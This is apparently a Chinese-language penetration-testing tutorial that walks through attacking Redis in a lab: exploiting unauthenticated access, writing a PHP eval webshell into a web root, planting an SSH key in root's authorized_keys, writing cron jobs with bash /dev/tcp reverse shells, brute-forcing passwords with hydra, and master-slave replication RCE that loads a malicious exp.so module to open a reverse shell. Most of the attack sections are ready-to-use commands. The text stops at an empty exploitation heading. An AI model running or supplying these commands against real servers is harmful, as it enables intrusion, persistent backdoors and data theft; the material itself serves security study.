对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
介绍
前言
数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到Redis环境安装、Redis未授权访问、redis写webshell、redis 密钥登录ssh、利用计划任务反弹shell等操作,如果连Redis都不会安装操作提权等,怎么进行下一步的研究Redis数据库安全!怎么拿下对方服务器。
Redis简介
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis 是一个开源的高性能键值数据库。最热门的 NoSql 数据库之一,也被人们称为数据结构服务器。
它最突出的特点就是:快
- 以内存作为数据存储介质,读写数据的效率极高。
- 跟 memcache 不同的是,储存在 Redis 中的数据是持久化的,断电或重启,数据也不会丢失。
- 存储分为内存存储、磁盘存储和 log 文件。
- 可以从磁盘重新将数据加载到内存中,也可以通过配置文件对其进行配置,因此,redis 才能实现持久化。
- 支持主从模式,可以配置集群,更利于支撑大型的项目。
1:Redis默认端口
Redis默认配置端口为6379,sentinel.conf配置器端口为26379
2:官方站点
https://redis.io/
http://download.redis.io/releases/
4.x安装:
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。
以下实验使用3.2版本复现!!
Redis环境安装
1. redis定义
Redis是一个C语言编写的基于key-value类型的高效数据库。
Redis可以执行一些操作将数据保存到内存之中(这也是为什么效率这么高的原因)。
同时redis也可以将内存中的数据写入磁盘之中。
2. 未授权访问原因
主要是因为配置不当,导致未授权访问漏洞。
进一步将恶意数据写入内存或者磁盘之中,造成更大的危害。
配置不当一般主要是两个原理:
(1)配置登录策略导致任意机器都可以登录redis。
(2)未设置密码或者设置弱口令。
3. redis服务的搭建
首先卸载kali上已经安装的redis
apt-get remove --purge redis-server
接下来安装旧版本的redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
![image.png](https://img-blog.csdnimg.cn/img_convert/ceb9f649634fe485d370886614c1d4b4.png#averageHue=#243344&clientId=u0e0ce86e-a617-4&from=paste&height=615&id=u1584ab4b&name=image.png&originHeight=922&originWidth=1527&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2058911&status=done&style=none&taskId=u6aea413e-c752-409e-8dc6-c6b924abd06&title=&width=1018)
4. 修改配置文件redis.conf
编辑redis的配置文件:
注释掉:bind 127.0.0.1
protected-mode设为no,代表关闭安全设置
将此配置文件放到redis-server同级目录中
启动redis-server:./redis-server redis.conf
![image.png](https://img-blog.csdnimg.cn/img_convert/02ef9bda0531fbc7d8217fcc21c2e11d.png#averageHue=#253d4f&clientId=u0e0ce86e-a617-4&from=paste&height=340&id=u045aada4&name=image.png&originHeight=510&originWidth=1320&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1013851&status=done&style=none&taskId=uad1bf33d-7823-4a0d-a585-a1528087e10&title=&width=880)
![image.png](https://img-blog.csdnimg.cn/img_convert/451edac68dabf45f911bb6c1affe96bc.png#averageHue=#213748&clientId=u0e0ce86e-a617-4&from=paste&height=187&id=ub1392588&name=image.png&originHeight=280&originWidth=1343&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=562336&status=done&style=none&taskId=ue7aaea05-62f7-40e5-85b3-1368a125ac2&title=&width=895.3333333333334)
![image.png](https://img-blog.csdnimg.cn/img_convert/125224632f452fdceb883621a4416631.png#averageHue=#223142&clientId=u0e0ce86e-a617-4&from=paste&height=653&id=u6506452d&name=image.png&originHeight=979&originWidth=1637&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2168240&status=done&style=none&taskId=u55e2526c-8456-4daa-b8c2-474124cdd4a&title=&width=1091.3333333333333)
![image.png](https://img-blog.csdnimg.cn/img_convert/7850c0341a4bdac151b12633a11e800f.png#averageHue=#293b4a&clientId=u0e0ce86e-a617-4&from=paste&height=97&id=uf3af2ece&name=image.png&originHeight=145&originWidth=1505&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=310338&status=done&style=none&taskId=udd2bdf73-5f08-466e-b74f-9d8fa2e1cbf&title=&width=1003.3333333333334)
安装成功后,如图所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
5. 连接Redis
方式1:
![image.png](https://img-blog.csdnimg.cn/img_convert/dbac7127d1377566092e7b356146cb41.png#averageHue=#1f1e1e&clientId=ue567bff0-0fa6-4&from=paste&height=107&id=u92d2399d&name=image.png&originHeight=160&originWidth=1047&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=20011&status=done&style=none&taskId=u3b449579-ef3e-41a5-9226-c20a992debe&title=&width=698)
方式2:
![image.png](https://img-blog.csdnimg.cn/img_convert/6f40dff27bd211541ebbd8f276b37115.png#averageHue=#22201e&clientId=ue567bff0-0fa6-4&from=paste&height=108&id=u76c60bf9&name=image.png&originHeight=162&originWidth=1445&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=28776&status=done&style=none&taskId=u426faf48-60ad-49f7-ad1f-7dcb76f2e46&title=&width=963.3333333333334)
1. Redis未授权访问
Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章“通过redis感染linux版本勒索病毒的服务器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。
产生条件
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞危害
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
- 攻击者可通过EVAL执行代码,或通过数据备份功能往磁盘写入后门文件;
- 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
漏洞发现
![image.png](https://img-blog.csdnimg.cn/img_convert/15578c6d877f80b844f735fdd15ee068.png#averageHue=#1c2e41&clientId=u0e0ce86e-a617-4&from=paste&height=447&id=ub3bcae03&name=image.png&originHeight=670&originWidth=1446&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=720946&status=done&style=none&taskId=ue25040fb-c9aa-4513-ada2-742b0916c31&title=&width=964)
连接Redis服务器-linux
redis-cli -h {host} -p {port} {command}
常用命令:
查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
看所有键:KEYS *,使用select num可以查看键值数据。
设置变量:set test “who am i”
config set dir dirpath 设置路径等配置
config get dir/dbfilename 获取路径及数据配置信息
save保存
get 变量,查看变量名称
![image.png](https://img-blog.csdnimg.cn/img_convert/9fdbfd3b6ac5780f73bdfc24856b5125.png#averageHue=#1f1e1e&clientId=u0e0ce86e-a617-4&from=paste&height=294&id=ub9627359&name=image.png&originHeight=346&originWidth=891&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=26554&status=done&style=none&taskId=u92ca0133-70ca-4b8c-b6dd-3190013dd6e&title=&width=756)
连接Redis服务器-windows
工具地址:https://gitee.com/qishibo/AnotherRedisDesktopManager
https://blog.csdn.net/qq_39715000/article/details/120724800(RedisDesktopManager的免费版)
![image.png](https://img-blog.csdnimg.cn/img_convert/612f9fdce1fe4205e61611d9f3ef290e.png#averageHue=#fdfcfc&clientId=u0e0ce86e-a617-4&from=paste&height=585&id=ubc94b484&name=image.png&originHeight=878&originWidth=1524&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=80479&status=done&style=none&taskId=u83afd0f7-263c-4ae8-a948-4272ac06ec5&title=&width=1016)
不存在未授权情况
- bind 127.0.0.1 未注释,仅仅允许本地访问,攻击机kali无法连接。
- 设置了密码(爆破redis的密码(hydra))
2. Redis写webshell
利用条件:攻击者能够连接目标Redis,目标需要开启web服务,并且攻击者能够得知web服务路径
在发现了Redis未授权漏洞后:
切换目录到网站的根目录
config set dir /var/www/html/
写入恶意代码到内存中
set x "\n\n\n<?php phpinfo(); eval(@$_POST['cmd']); ?>\n\n\n"
在磁盘中生成木马文件
config set dbfilename shell.php
将内存之中的数据导出到磁盘文件
save
![image.png](https://img-blog.csdnimg.cn/img_convert/4785a51db4292334ab1677659b014f99.png#averageHue=#1d1c1c&clientId=u0e0ce86e-a617-4&from=paste&height=400&id=u4926fe06&name=image.png&originHeight=600&originWidth=1405&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=79202&status=done&style=none&taskId=ue64204ed-0d65-4573-9b24-3e691e14c02&title=&width=936.6666666666666)
![image.png](https://img-blog.csdnimg.cn/img_convert/d8e667beeba0f65e582430ddd8d0484b.png#averageHue=#233142&clientId=u0e0ce86e-a617-4&from=paste&height=699&id=u19fae275&name=image.png&originHeight=1048&originWidth=1727&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2454438&status=done&style=none&taskId=u3e581fa8-8aa8-41a6-aaf4-b015d2cf0d9&title=&width=1151.3333333333333)
写入shell成功,靶机开启一个web服务,成功通过未授权写入webshell并连接上后门
![image.png](https://img-blog.csdnimg.cn/img_convert/1dfeefe28f45d41b88e7d86fa809d852.png#averageHue=#253748&clientId=u0e0ce86e-a617-4&from=paste&height=226&id=ued9e3538&name=image.png&originHeight=339&originWidth=1532&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=710812&status=done&style=none&taskId=ue1ee1fdf-c19e-4097-91b7-3c030211314&title=&width=1021.3333333333334)
![image.png](https://img-blog.csdnimg.cn/img_convert/eaa91b9231597ed74b32c2ec1b1f6c2b.png#averageHue=#ededed&clientId=u0e0ce86e-a617-4&from=paste&height=286&id=u380fc5b4&name=image.png&originHeight=429&originWidth=1539&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=86244&status=done&style=none&taskId=u6bef3c01-82e5-4b0e-b212-d19194cb6c3&title=&width=1026)
3. Redis密钥登录ssh
kali开启ssh服务
/etc/init.d/ssh start
netstat -pantu | grep :22
![image.png](https://img-blog.csdnimg.cn/img_convert/f69867f5d9d6755c0c45435965e5f688.png#averageHue=#243242&clientId=u0e0ce86e-a617-4&from=paste&height=302&id=u4accacd1&name=image.png&originHeight=453&originWidth=1513&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=999187&status=done&style=none&taskId=ua038e840-4a47-4235-8d78-4e4c45a60f0&title=&width=1008.6666666666666)
设置redis密码(否则不能密钥登录)
config set requirepass lainwith
redis-cli -h 192.168.229.128 -a lainwith
![image.png](https://img-blog.csdnimg.cn/img_convert/e3e387938da3edbb9f599daebbc929c6.png#averageHue=#1e1d1d&clientId=u0e0ce86e-a617-4&from=paste&height=197&id=u5db21b8a&name=image.png&originHeight=295&originWidth=1081&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=34255&status=done&style=none&taskId=u2d6b1464-4b40-45d1-b9dd-0a18ca674f1&title=&width=720.6666666666666)
生成ssh-rsa密匙:
ssh-keygen -t rsa
![image.png](https://img-blog.csdnimg.cn/img_convert/5902115e3cd18d9efce6c897c0289a1d.png#averageHue=#1e1d1c&clientId=u0e0ce86e-a617-4&from=paste&height=505&id=u2d70c10f&name=image.png&originHeight=758&originWidth=1114&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=70263&status=done&style=none&taskId=uae7d6aa0-a339-48ec-aa0e-311c156ee6e&title=&width=742.6666666666666)
写入ssh密匙
导出key(\n\n是为了防止乱码)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
将生成的公钥写入redis服务器的内存之中
cat key.txt | redis-cli -h 192.168.229.128 -a lainwith -x set ssh_key
登录redis
redis-cli -h 192.168.229.128 -a lainwith
设置路径,准备导出文件到磁盘.(本质是更改redis的备份路径)
注意:假如这个"/root/.ssh"不存在的话,这里会显示失败的,就不会返回ok了
config set dir /root/.ssh
设置文件名(不能改成其他的)并导出
config set dbfilename authorized_keys
save
![image.png](https://img-blog.csdnimg.cn/img_convert/d92ddde4ba0f760b626a4f6bf6574ec1.png#averageHue=#1e1e1d&clientId=u8d342bf3-c8a5-4&from=paste&height=384&id=u3569f6b6&name=image.png&originHeight=576&originWidth=1318&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=68029&status=done&style=none&taskId=u863a6045-38ff-4155-83a3-ca5c0bf821e&title=&width=878.6666666666666)
来到靶场瞅一眼,写入密钥成功
![image.png](https://img-blog.csdnimg.cn/img_convert/1022bbf1be2d2a9006c38a789a6541d9.png#averageHue=#212e3f&clientId=u0e0ce86e-a617-4&from=paste&height=321&id=uc8ad1709&name=image.png&originHeight=481&originWidth=1601&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1079565&status=done&style=none&taskId=ub9a44590-cfaa-4c76-bcd1-11cb026e13f&title=&width=1067.3333333333333)
![image.png](https://img-blog.csdnimg.cn/img_convert/dda45bd1567de4c28d39fd32b1f6509c.png#averageHue=#273444&clientId=u8d342bf3-c8a5-4&from=paste&height=360&id=u5951dc50&name=image.png&originHeight=540&originWidth=1517&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1162477&status=done&style=none&taskId=ufc44028c-fb8d-43e4-95bb-c64a99a7f30&title=&width=1011.3333333333334)
SSH登录
ssh -i /root/.ssh/id_rsa root@192.168.229.128
![image.png](https://img-blog.csdnimg.cn/img_convert/ab15950831fb5a5d79bb4d41d90b0fa2.png#averageHue=#1f1e1d&clientId=u8d342bf3-c8a5-4&from=paste&height=642&id=ufc94dac2&name=image.png&originHeight=963&originWidth=1418&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=139882&status=done&style=none&taskId=u2bb002c1-7817-414c-ba6a-09c7a205c9d&title=&width=945.3333333333334)
4. 利用计划任务反弹shell
攻击者开启监听
![image.png](https://img-blog.csdnimg.cn/img_convert/f3774a7603e0888c922f545a222fa757.png#averageHue=#c8af58&clientId=u8d342bf3-c8a5-4&from=paste&height=142&id=ud0f178ac&name=image.png&originHeight=162&originWidth=569&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=9859&status=done&style=none&taskId=u8cae9546-2e23-46f4-a171-1c584fabe3c&title=&width=497.3333435058594)
写入反弹shell命令
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n"
//上边的星号代表的是计划任务的时间
config set dir /var/spool/cron/
//设置导出的路径
config set dbfilename root
//设置导出文件名为“ root ”
save
//保存
或者:
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n\n"|redis-cli -h 192.168.229.128 -x set 1
redis-cli -h 192.168.253.12 config set dir /var/spool/cron/
redis-cli -h 192.168.253.12 config set dbfilename root
redis-cli -h 192.168.253.12 save
网传的是上述的方法,但是很遗憾。
当我在kali上部署 Redis ,不能反弹shell到kali。也不能反弹shell到其他机器上。
当我在CentOS上部署Redis,反弹到kali的shell是有问题的。
检查发现参考的文章作者也碰到了这个问题:渗透测试之地基服务篇:服务攻防之数据库Redis(上)
![image.png](https://img-blog.csdnimg.cn/img_convert/81a2b9fd5e79486e58069299d26d9d40.png#averageHue=#222121&clientId=u8d342bf3-c8a5-4&from=paste&height=760&id=ue9ff8634&name=image.png&originHeight=1140&originWidth=1641&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=132219&status=done&style=none&taskId=ub2485061-9141-4f47-9846-45c537384e7&title=&width=1094)
在靶场上发现了写入的恶意文件
![image.png](https://img-blog.csdnimg.cn/img_convert/f1f851fc06d7e838636cbc92b419ceb6.png#averageHue=#211f1e&clientId=u8d342bf3-c8a5-4&from=paste&height=330&id=u58bf40d5&name=image.png&originHeight=495&originWidth=1258&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=73100&status=done&style=none&taskId=u64a9a8e7-b5b6-49e6-9b54-a45d5294afe&title=&width=838.6666666666666)
5. 利用主从复制RCE
未授权的redis会导致GetShell,可以说已经是众所周知的了。
而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似:
![](https://img-blog.csdnimg.cn/img_convert/19e79a394e55b979fe622bc34a958179.png#averageHue=#211f1e&from=url&id=JXlcm&originHeight=495&originWidth=1258&originalType=binary&ratio=1.5&rotation=0&showTitle=false&status=done&style=none&title=)
这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
简单的说,攻击者(主机)写一个so文件,然后通过FULLRESYNC(全局)同步文件到受害人(从机)上。
比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
利用条件
- 保护模式开启 protected-mode 关闭 (默认开启)。
- redis允许外部访问。
环境搭建
我安装的Redis环境是3.2,漏洞复现失败,因此这里使用下载redis5.0来演示漏洞
CentOS(192.168.229.140)部署Redis5.0,kali(192.168.229.128)当作攻击者
wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar xzf redis-5.0.0.tar.gz
cd redis-5.0.0/
make
下载并编译完成之后,修改配置文件,就可以启动Redis了
vim redis.conf
cp redis.conf ./src/redis.conf
./redis-server redis.conf
![image.png](https://img-blog.csdnimg.cn/img_convert/1882ba64c8a392e7e8acf621594ee4a3.png#averageHue=#1e3144&clientId=ua1cd8608-d62d-4&from=paste&height=222&id=ubfac0192&name=image.png&originHeight=333&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=424681&status=done&style=none&taskId=u4b974409-d9da-4de6-ab46-f2e36f05b5c&title=&width=1121.3333333333333)
![image.png](https://img-blog.csdnimg.cn/img_convert/dd7d98abb12384e23cbacc855df884c3.png#averageHue=#1e3144&clientId=ua1cd8608-d62d-4&from=paste&height=572&id=ud7029be1&name=image.png&originHeight=858&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1038085&status=done&style=none&taskId=u1a26a98b-0ed3-4b8e-a3dd-99550d7c5e3&title=&width=1121.3333333333333)
漏洞复现:方式1
这种复现方式,演示靶机在关闭保护模式、允许远程连接的情况下,使用n0b0dyCN/redis-rogue-server攻击
关于漏洞原理请查看Pavel Toporkov的分享(opens new window)
漏洞利用脚本: n0b0dyCN/redis-rogue-server
首先看一下脚本的一些基本信息
![1.jpg](https://img-blog.csdnimg.cn/img_convert/c5f1ca063bae070d4a2173e50fab57c2.jpeg#averageHue=#283747&clientId=ua1cd8608-d62d-4&from=drop&id=uc1ffb533&name=1.jpg&originHeight=929&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=211152&status=done&style=none&taskId=u88d2ead7-2494-453c-a84b-d1cc211d1e1&title=)
获取一个交互式shell
![image.png](https://img-blog.csdnimg.cn/img_convert/2e6d041ede5161f74d64ab151be8103d.png#averageHue=#233344&clientId=ua1cd8608-d62d-4&from=paste&height=549&id=u69153fa2&name=image.png&originHeight=824&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1942783&status=done&style=none&taskId=u2dd55d67-1d2e-4922-ab9f-0db0e850615&title=&width=1121.3333333333333)
尝试反弹shell
![image.png](https://img-blog.csdnimg.cn/img_convert/af962e6e5a005e6fa5a1025eba800d65.png#averageHue=#253546&clientId=ua1cd8608-d62d-4&from=paste&height=645&id=uf7c16bfb&name=image.png&originHeight=967&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2120592&status=done&style=none&taskId=u82344a07-a67d-4fcf-8485-fcd35da00d3&title=&width=1121.3333333333333)
![image.png](https://img-blog.csdnimg.cn/img_convert/adb289824a184714c35e118bb14bc2f2.png#averageHue=#253747&clientId=ua1cd8608-d62d-4&from=paste&height=322&id=u606703c3&name=image.png&originHeight=483&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=967728&status=done&style=none&taskId=u0473c698-8b56-4eb2-beaf-95e4950dc92&title=&width=1121.3333333333333)
漏洞复现:方式2
这种复现方式,演示靶机在关闭保护模式、允许远程连接、Redis开启密码保护的情况下,如何攻击。
顺带着演示另一种工具。
使用利用脚本:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
此处设置一下Redis的连接密码,以便捎带着演示一下Redis爆破
hydra -P ./pass.txt redis://192.168.229.140:6379 -f
![2.jpg](https://img-blog.csdnimg.cn/img_convert/1b9faf48d3cb7608fa04d8d744c7dda6.jpeg#averageHue=#25384b&clientId=ua1cd8608-d62d-4&from=drop&id=u69c88cdb&name=2.jpg&originHeight=1014&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=199009&status=done&style=none&taskId=u86a9f549-70b5-45ca-8ad5-7aef35f922b&title=)
![image.png](https://img-blog.csdnimg.cn/img_convert/b6846a032ebee381079e7b5a5a796e2d.png#averageHue=#2a3a4b&clientId=ua1cd8608-d62d-4&from=paste&height=253&id=u8bdf67f8&name=image.png&originHeight=379&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=974931&status=done&style=none&taskId=ufbfdaac7-000e-4371-b4d5-1f604500c87&title=&width=1121.3333333333333)
现在开始漏洞复现,首先看一下脚本基本信息
![image.png](https://img-blog.csdnimg.cn/img_convert/9065f99ae7b2ec4ad3ac620f9b57078d.png#averageHue=#243343&clientId=ua1cd8608-d62d-4&from=paste&height=703&id=u9350d7ee&name=image.png&originHeight=1055&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2524049&status=done&style=none&taskId=u8b585fa6-2359-4372-bdd6-f4172f0e19c&title=&width=1121.3333333333333)
交互式shell如下:
![image.png](https://img-blog.csdnimg.cn/img_convert/218d6f2e87c8206bc0774bd8edc838dd.png#averageHue=#243242&clientId=ua1cd8608-d62d-4&from=paste&height=495&id=uc5a64db3&name=image.png&originHeight=743&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1803551&status=done&style=none&taskId=ufff11551-76cf-4213-8b14-be1a1fda385&title=&width=1121.3333333333333)
反弹shell如下:
![image.png](https://img-blog.csdnimg.cn/img_convert/92ca0117d7a21ec0641a1e66346ca9ac.png#averageHue=#273748&clientId=ua1cd8608-d62d-4&from=paste&height=403&id=uf201f581&name=image.png&originHeight=604&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1312643&status=done&style=none&taskId=uad885d46-3cb1-4ea8-83bf-ff926310c70&title=&width=1121.3333333333333)
6. 本地Redis主从复制RCE反弹shell
靶场环境承接的是第5章的:演示靶机关闭保护模式、允许远程连接、Redis开启密码保护
介绍
在“利用主从复制RCE”中,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机[靶机]redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。
攻击者准备
这里需要同时用到上面第5章节中提到的两款工具:
将redis-rogue-server的exp.so
文件复制到Awsome文件夹中使用,因为exp.so
带system
模块!
- 在kali上开启redis服务器作为主服务器(开启15000端口),指定so文件为exp.so。
python3 redis_rogue_server.py -v -path exp.so
![image.png](https://img-blog.csdnimg.cn/img_convert/11df01e5e4aef0580c2e4a3f135142ad.png#averageHue=#243447&clientId=ue567bff0-0fa6-4&from=paste&height=526&id=udd2cd4a5&name=image.png&originHeight=789&originWidth=1540&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1718313&status=done&style=none&taskId=u6e71facb-8694-490c-b70c-e5f17e1f78e&title=&width=1026.6666666666667)
- kali开启端口监听
Redis主从同步
受害者设置攻击者的地址为主服务器
# 密码登录服务器(以安全的方式)
auth foobared
# 查看是否存在模块(发现目前没有可用模块!)
module list
# 一般tmp目录都有写权限,所以选择这个目录写入
config set dir /tmp
# 设置导出文件的名字
config set dbfilename exp.so
# 设置主机为kali
slaveof 192.168.229.128 15000
可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!
![image.png](https://img-blog.csdnimg.cn/img_convert/d839cc2c87f8b4112723cc86bc893ec2.png#averageHue=#283a4b&clientId=ue567bff0-0fa6-4&from=paste&height=773&id=u5ec5b37d&name=image.png&originHeight=1159&originWidth=1682&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1834000&status=done&style=none&taskId=u4f51501e-2cc2-41fd-8c83-1d0b525e561&title=&width=1121.3333333333333)
按时间对tmp目录下的文件进行排序,发现了exp.so
![image.png](https://img-blog.csdnimg.cn/img_convert/4945aad27e7c97390ab2c81e9c2b864f.png#averageHue=#1b2f47&clientId=ue567bff0-0fa6-4&from=paste&height=589&id=uba6588b6&name=image.png&originHeight=884&originWidth=1845&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=1326992&status=done&style=none&taskId=u8f69bfb5-3a00-40e4-bbda-3574cd47cad&title=&width=1230)
受害者执行恶意模块
# 加载写入的恶意so文件模块
module load ./exp.so
# 查看恶意so有没有加载成功,主要是有没有“system”
module list
# 取消设置主机(可做可不做)
slaveof NO ONE
# 反弹shell
system.rev 192.168.229.128 4444
![image.png](https://img-blog.csdnimg.cn/img_convert/3630c167b3f59a42b6e8f3e86e638736.png#averageHue=#1e1d1c&clientId=ue567bff0-0fa6-4&from=paste&height=524&id=ud23d1d30&name=image.png&originHeight=786&originWidth=1349&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=80795&status=done&style=none&taskId=uf22865e4-c292-41b1-8e6b-290501558be&title=&width=899.3333333333334)
![image.png](https://img-blog.csdnimg.cn/img_convert/c5fc31b4c277773fafa786aa6d88b2f4.png#averageHue=#293a4b&clientId=ue567bff0-0fa6-4&from=paste&height=227&id=u955ae193&name=image.png&originHeight=340&originWidth=1366&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=693671&status=done&style=none&taskId=ub915e5cd-d5b3-4082-a10e-7ad8afffc54&title=&width=910.6666666666666)
靶场演练
redis 未授权访问(CNVD-2015-07557)
漏洞介绍
漏洞信息:https://www.cnvd.org.cn/flaw/show/CNVD-2015-07557
Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
在线靶场不能正常使用,这里使用vulfocus离线环境:https://github.com/fofapro/vulfocus/tree/master/images
kali部署环境,作为受害者;parrot作为攻击者。
docker pull vulfocus/redis-cnvd_2015_07557
docker run -p 6379:6379 -d vulfocus/redis-cnvd_2015_07557
漏洞发现
nuclei发现Redis未授权漏洞,Nmap探测到Redis版本是4.0.14
nmap 192.168.229.128 -p 6379 --script redis-info
![image.png](https://img-blog.csdnimg.cn/img_convert/5eefb8223ca686f688ba6e2c71cd6725.png#averageHue=#1d3044&clientId=ue567bff0-0fa6-4&from=paste&height=540&id=ub5f11580&name=image.png&originHeight=810&originWidth=1295&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=795974&status=done&style=none&taskId=u9ae94d69-3181-492d-b6a3-d32103b36b2&title=&width=863.3333333333334)
![image.png](https://img-blog.csdnimg.cn/img_convert/8e1523cfb94ba60ed95861b8290ea496.png#averageHue=#1c2d40&clientId=ue567bff0-0fa6-4&from=paste&height=447&id=u716271da&name=image.png&originHeight=671&originWidth=1439&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=733275&status=done&style=none&taskId=u62d62b2b-5939-4d07-ba0e-8de3ec49292&title=&width=959.3333333333334)
漏洞利用
